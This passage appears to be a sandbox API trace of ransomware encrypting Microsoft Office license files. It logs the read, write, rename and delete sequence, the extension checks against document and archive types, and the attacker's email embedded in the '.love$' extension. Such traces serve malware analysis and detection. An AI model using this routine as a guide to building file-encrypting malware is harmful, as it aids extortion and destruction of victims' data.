office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0280.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.877] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.877] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0280.879] GetLastError () returned 0x0 [0280.879] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x5f42, lpOverlapped=0x0) returned 1 [0280.912] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5f50, lpOverlapped=0x0) returned 1 [0280.913] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0280.913] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0280.914] SetEndOfFile (hFile=0x534) returned 1 [0280.914] CloseHandle (hObject=0x534) returned 1 [0280.914] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.914] SetEndOfFile (hFile=0x388) returned 1 [0280.922] CloseHandle (hObject=0x388) returned 1 [0280.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0280.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.924] lstrlenW (lpString=".doc") returned 4 [0280.924] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".docx") returned 5 [0280.924] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.924] lstrlenW (lpString=".pdf") returned 4 [0280.924] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".xls") returned 4 [0280.924] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".xlsx") returned 5 [0280.924] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.924] lstrlenW (lpString=".ppt") returned 4 [0280.924] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.924] lstrlenW (lpString=".zip") returned 4 [0280.924] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".rar") returned 4 [0280.924] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".bz2") returned 4 [0280.924] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.924] lstrlenW (lpString=".7z") returned 3 [0280.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString=".dbf") returned 4 [0280.925] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString=".1cd") returned 4 [0280.925] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString=".jpg") returned 4 [0280.925] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString=".doc") returned 4 [0280.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".docx") returned 5 [0280.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.925] lstrlenW (lpString=".pdf") returned 4 [0280.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".xls") returned 4 [0280.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".xlsx") returned 5 [0280.925] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.925] lstrlenW (lpString=".ppt") returned 4 [0280.925] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.925] lstrlenW (lpString=".zip") returned 4 [0280.925] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".rar") returned 4 [0280.925] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".bz2") returned 4 [0280.925] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.925] lstrlenW (lpString=".7z") returned 3 [0280.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.926] lstrlenW (lpString=".dbf") returned 4 [0280.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.926] lstrlenW (lpString=".1cd") returned 4 [0280.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0280.926] lstrlenW (lpString=".jpg") returned 4 [0280.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.926] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.926] lstrlenW (lpString="O365ProPlusR_Grace-ppd.xrm-ms") returned 29 [0280.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.927] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=24302) returned 1 [0280.927] CloseHandle (hObject=0x388) returned 1 [0280.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220 [0280.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0280.930] GetLastError () returned 0x0 [0280.930] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x5eee, lpOverlapped=0x0) returned 1 [0281.198] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0281.200] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0281.200] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10e, lpOverlapped=0x0) returned 1 [0281.200] SetEndOfFile (hFile=0x534) returned 1 [0281.200] CloseHandle (hObject=0x534) returned 1 [0281.201] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.201] SetEndOfFile (hFile=0x388) returned 1 [0281.226] CloseHandle (hObject=0x388) returned 1 [0281.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1 [0281.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.319] lstrlenW (lpString=".doc") returned 4 [0281.319] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.321] lstrlenW (lpString=".docx") returned 5 [0281.321] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.321] lstrlenW (lpString=".pdf") returned 4 [0281.321] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.322] lstrlenW (lpString=".xls") returned 4 [0281.322] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.322] lstrlenW (lpString=".xlsx") returned 5 [0281.322] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.322] lstrlenW (lpString=".ppt") returned 4 [0281.322] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.322] lstrlenW (lpString=".zip") returned 4 [0281.322] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.323] lstrlenW (lpString=".rar") returned 4 [0281.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.324] lstrlenW (lpString=".bz2") returned 4 [0281.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.325] lstrlenW (lpString=".7z") returned 3 [0281.325] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.325] lstrlenW (lpString=".dbf") returned 4 [0281.325] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.328] lstrlenW (lpString=".1cd") returned 4 [0281.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.344] lstrlenW (lpString=".jpg") returned 4 [0281.344] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.353] lstrlenW (lpString=".doc") returned 4 [0281.353] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.353] lstrlenW (lpString=".docx") returned 5 [0281.353] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.353] lstrlenW (lpString=".pdf") returned 4 [0281.353] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.353] lstrlenW (lpString=".xls") returned 4 [0281.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.353] lstrlenW (lpString=".xlsx") returned 5 [0281.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.353] lstrlenW (lpString=".ppt") returned 4 [0281.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.354] lstrlenW (lpString=".zip") returned 4 [0281.354] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString=".rar") returned 4 [0281.354] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString=".bz2") returned 4 [0281.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString=".7z") returned 3 [0281.354] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.354] lstrlenW (lpString=".dbf") returned 4 [0281.354] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.354] lstrlenW (lpString=".1cd") returned 4 [0281.354] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0281.354] lstrlenW (lpString=".jpg") returned 4 [0281.354] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.354] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0281.354] lstrlenW (lpString="O365ProPlusR_Subscription2-ppd.xrm-ms") returned 37 [0281.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0281.562] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=28261) returned 1 [0281.562] CloseHandle (hObject=0x3c0) returned 1 [0281.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220 [0281.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.065] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.065] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0282.067] GetLastError () returned 0x0 [0282.067] ReadFile (in: hFile=0x380, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x6e65, lpOverlapped=0x0) returned 1 [0282.072] WriteFile (in: hFile=0x544, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x6e70, lpOverlapped=0x0) returned 1 [0282.074] ReadFile (in: hFile=0x380, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0282.074] WriteFile (in: hFile=0x544, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11e, lpOverlapped=0x0) returned 1 [0282.074] SetEndOfFile (hFile=0x544) returned 1 [0282.075] CloseHandle (hObject=0x544) returned 1 [0282.075] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.075] SetEndOfFile (hFile=0x380) returned 1 [0282.081] CloseHandle (hObject=0x380) returned 1 [0282.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1 [0282.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.084] lstrlenW (lpString=".doc") returned 4 [0282.084] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".docx") returned 5 [0282.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.084] lstrlenW (lpString=".pdf") returned 4 [0282.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".xls") returned 4 [0282.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".xlsx") returned 5 [0282.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.084] lstrlenW (lpString=".ppt") returned 4 [0282.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.084] lstrlenW (lpString=".zip") returned 4 [0282.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".rar") returned 4 [0282.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".bz2") returned 4 [0282.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.084] lstrlenW (lpString=".7z") returned 3 [0282.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.084] lstrlenW (lpString=".dbf") returned 4 [0282.085] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString=".1cd") returned 4 [0282.085] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString=".jpg") returned 4 [0282.085] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString=".doc") returned 4 [0282.085] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".docx") returned 5 [0282.085] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.085] lstrlenW (lpString=".pdf") returned 4 [0282.085] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".xls") returned 4 [0282.085] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".xlsx") returned 5 [0282.085] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.085] lstrlenW (lpString=".ppt") returned 4 [0282.085] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString=".zip") returned 4 [0282.085] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".rar") returned 4 [0282.085] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".bz2") returned 4 [0282.085] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.085] lstrlenW (lpString=".7z") returned 3 [0282.085] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.085] lstrlenW (lpString=".dbf") returned 4 [0282.086] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.086] lstrlenW (lpString=".1cd") returned 4 [0282.086] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0282.086] lstrlenW (lpString=".jpg") returned 4 [0282.086] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.086] lstrlenW (lpString=".id-") returned 4 [0282.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c52f8 | out: hHeap=0x670000) returned 1 [0282.086] HeapFree (in: 